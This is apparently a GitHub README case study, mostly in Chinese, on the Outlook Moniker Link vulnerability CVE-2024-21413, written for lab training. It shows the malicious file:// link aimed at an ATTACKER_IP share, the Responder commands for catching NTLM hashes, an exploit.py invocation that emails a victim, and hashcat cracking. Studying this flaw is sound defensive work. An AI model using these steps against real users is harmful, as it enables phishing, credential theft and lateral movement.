pedro-lucas-melo/Estudo-de-Caso-CVE-2024-21413

GitHub: pedro-lucas-melo/Estudo-de-Caso-CVE-2024-21413

针对CVE-2024-21413 Outlook漏洞的完整案例研究,包含漏洞原理分析、利用脚本与攻击流程演示,用于红队评估和安全培训。

Stars: 0 | Forks: 0

# CVE-2024-21413 — Moniker Link 🔗💀 ### Microsoft Outlook 远程代码执行 + NTLM 凭据泄露 ## 📋 目录 - [概述](#-visão-geral) - [漏洞原理](#-como-a-vulnerabilidade-funciona) - [实验环境](#%EF%B8%8F-ambiente-de-laboratório) - [分步演示](#-demonstração-passo-a-passo) - [漏洞利用脚本](#-script-do-exploit) - [攻击流程图](#-diagrama-do-ataque) - [缓解与防御](#%EF%B8%8F-mitigação-e-defesa) - [CVE 详细分析](#-cve-breakdown) - [参考资料](#-referências) ## 🔍 概述 | 字段 | 详情 | |-------------------|----------------------------------------------| | **CVE** | CVE-2024-21413 | | **披露时间** | 2024年2月13日(补丁星期二) | | **CVSS 评分** | 9.8(严重) | | **受影响产品** | Microsoft Outlook | | **漏洞类型** | RCE + 凭据泄露(NTLM 哈希) | | **攻击向量** | 网络/电子邮件(无需预先认证) | | **用户交互** | 需要用户交互(点击链接) | | **漏洞别名** | Moniker Link | CVE-2024-21413 是 Microsoft Outlook 中的一个严重漏洞,攻击者可以: 1. **泄露受害者的 NTLM 凭据**,通过强制 SMB 自动认证 2. **远程执行代码**,通过电子邮件中的恶意链接 "Moniker Link" 这个名称来源于对 **Component Object Model (COM) Monikers** 的利用——这是 Windows 通过字符串引用对象的机制——用于绕过 Outlook 对 `file://` 链接的安全保护。 ## 🧠 漏洞原理 ### 问题:受保护视图绕过 通常,Outlook 会阻止指向网络资源的 `file://` 链接,并显示安全警告(受保护视图)。问题出在 Outlook 处理包含 `!` 字符的 URL 方式上——这是 **Moniker** 的分隔符。 ### 漏洞利用 恶意链接的格式如下: ``` file:///\\ATTACKER_IP\share\!something ``` `!` 字符会导致 Outlook 解析器将 URL 解释为 COM Moniker 引用,**忽略常规安全检查**。结果: - 受害者的机器尝试通过 **SMB** 自动认证到攻击者的服务器 - 在认证过程中,受害者的 **NTLM 哈希** 会被传输 - 该哈希可用于 **Pass-the-Hash** 攻击或离线破解 ### 简化流程 ``` Atacante envia e-mail → Vítima clica no link → Outlook processa URL com "!" → Bypass da Protected View → Conexão SMB automática → Hash NTLM capturado ``` ## 🖥️ 实验环境 安全重现此案例研究: | 机器 | 操作系统 | 角色 | |-------------|---------------------|---------------| | 攻击者 | Kali Linux | SMB 监听器 + 漏洞利用 | | 目标 | Windows 10/11(安装有漏洞版本 Outlook) | 受害者 | ### 所需工具 ``` # Responder — listener SMB/HTTP para captura de hashes sudo apt install responder # Python 3 — para rodar o exploit python3 --version # Verificar conectividade entre as máquinas ping ``` ## 🚀 分步演示 ### 步骤 1 — 确定攻击者机器的 IP 地址 ``` ip a | grep inet # Anote o IP da interface que se comunica com o alvo (ex: 192.168.56.10) ``` ### 步骤 2 — 启动 Responder Responder 创建一个伪造的 SMB 服务器来捕获 NTLM 认证哈希。 ``` sudo responder -I eth0 -v # Substitua eth0 pela sua interface de rede ``` 预期输出: ``` [+] Listening for events... [SMB] NTLMv2-SSP Client : 192.168.56.20 [SMB] NTLMv2-SSP Username : DESKTOP-ALVO\usuario [SMB] NTLMv2-SSP Hash : usuario::DESKTOP-ALVO:... ``` ### 步骤 3 — 执行漏洞利用 ``` python3 exploit.py \ --sender atacante@dominio.com \ --recipient vitima@dominio.com \ --server \ --attacker-ip 192.168.56.10 ``` ### 步骤 4 — 等待受害者点击链接 当受害者打开邮件并点击链接时,Responder 会自动捕获 NTLM 哈希。该哈希可以: - **分析**以识别被入侵的账户 - **用于 Pass-the-Hash** 以在网络中进行横向认证 - **发送给 Hashcat/John** 进行离线破解尝试: ``` hashcat -m 5600 hash.txt wordlist.txt ``` ## 🐍 漏洞利用脚本 完整的注释脚本见 [`exploit.py`](
标签:0day, CISA项目, COM Monikers, CVE-2024-21413, Microsoft Outlook, NTLM, NTLM哈希, Pentest, RCE, Red Team, SMB, TryHackMe, 后端开发, 威胁模拟, 安全助手, 恶意链接, 漏洞分析, 漏洞复现, 红队攻防, 编程工具, 网络安全, 补丁绕过, 路径探测, 远程代码执行, 逆向工具, 错误配置检测, 隐私保护, 靶场练习